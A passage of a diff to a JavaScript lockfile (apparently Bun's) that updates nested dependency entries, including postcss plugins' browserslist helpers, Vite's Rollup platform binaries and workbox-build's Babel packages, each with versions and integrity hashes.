"postcss-convert-values/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-merge-rules/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-merge-rules/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-minify-params/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-minify-params/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-normalize-unicode/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
"postcss-normalize-unicode/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
- "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "postcss-preset-env/autoprefixer/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
+
+ "postcss-preset-env/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
+
+ "postcss-preset-env/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
+
+ "postcss-preset-env/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
+
+ "postcss-reduce-initial/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"postcss-reduce-initial/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"pretty-format/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
+ "protobufjs/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+
"rehype-highlight/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
"rehype-highlight/unified/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
@@ -7573,12 +7431,14 @@
"rollup-plugin-typescript2/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
- "schema-utils/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+ "stylehacks/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"stylehacks/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"sucrase/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "sucrase/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"sucrase/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"svgo/css-select/domhandler": ["domhandler@4.3.1", "", { "dependencies": { "domelementtype": "^2.2.0" } }, "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ=="],
@@ -7587,135 +7447,75 @@
"tailwindcss/postcss-load-config/lilconfig": ["lilconfig@3.0.0", "", {}, "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g=="],
- "terser-webpack-plugin/jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
-
"unist-util-remove-position/unist-util-visit/unist-util-is": ["unist-util-is@5.2.1", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw=="],
"unist-util-remove-position/unist-util-visit/unist-util-visit-parents": ["unist-util-visit-parents@5.1.3", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0" } }, "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg=="],
+ "vasync/verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+
"vfile-location/vfile/unist-util-stringify-position": ["unist-util-stringify-position@3.0.3", "", { "dependencies": { "@types/unist": "^2.0.0" } }, "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg=="],
"vfile-location/vfile/vfile-message": ["vfile-message@3.1.4", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-stringify-position": "^3.0.0" } }, "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw=="],
- "webpack/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "vite/postcss/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
- "webpack/eslint-scope/estraverse": ["estraverse@4.3.0", "", {}, "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="],
+ "vite/rollup/@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.59.0", "", { "os": "android", "cpu": "arm" }, "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg=="],
- "webpack/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
+ "vite/rollup/@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.59.0", "", { "os": "android", "cpu": "arm64" }, "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q=="],
+
+ "vite/rollup/@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.59.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg=="],
+
+ "vite/rollup/@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.59.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w=="],
+
+ "vite/rollup/@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.59.0", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA=="],
+
+ "vite/rollup/@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.59.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.59.0", "", { "os": "linux", "cpu": "arm" }, "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA=="],
+
+ "vite/rollup/@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.59.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA=="],
+
+ "vite/rollup/@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg=="],
+
+ "vite/rollup/@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg=="],
+
+ "vite/rollup/@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.59.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w=="],
+
+ "vite/rollup/@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg=="],
+
+ "vite/rollup/@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.59.0", "", { "os": "linux", "cpu": "x64" }, "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg=="],
+
+ "vite/rollup/@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.59.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A=="],
+
+ "vite/rollup/@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.59.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA=="],
+
+ "vite/rollup/@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA=="],
+
+ "vite/rollup/@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
"winston-daily-rotate-file/winston-transport/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ=="],
+ "workbox-build/@babel/core/@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-transform-optional-chaining": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ=="],
+ "workbox-build/@babel/core/@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.23.7", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lPgDSU+SJLK3xmFDTV2ZRQAiM7UuUjGidwBywFavObCiZc1BeAAcMtHJKUya92hPHO+at63JJPLygilZard8jw=="],
+ "workbox-build/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ=="],
+ "workbox-build/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.23.9", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20", "@babel/plugin-syntax-async-generators": "^7.8.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Q3veQEDGe14dTYuwagbRtwxQDnytyg1JFu4/HwEMETeofocrB0U0ejBJIXoeG/t2oXZ8kzCyI0ZZfbT80VFNQ=="],
+ "workbox-build/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.23.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-remap-async-to-generator": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw=="],
+ "workbox-build/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A=="],
+ "workbox-build/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.23.4", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-class-static-block": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.23.8", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-split-export-declaration": "^7.22.6", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/template": "^7.22.15" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ=="],
-
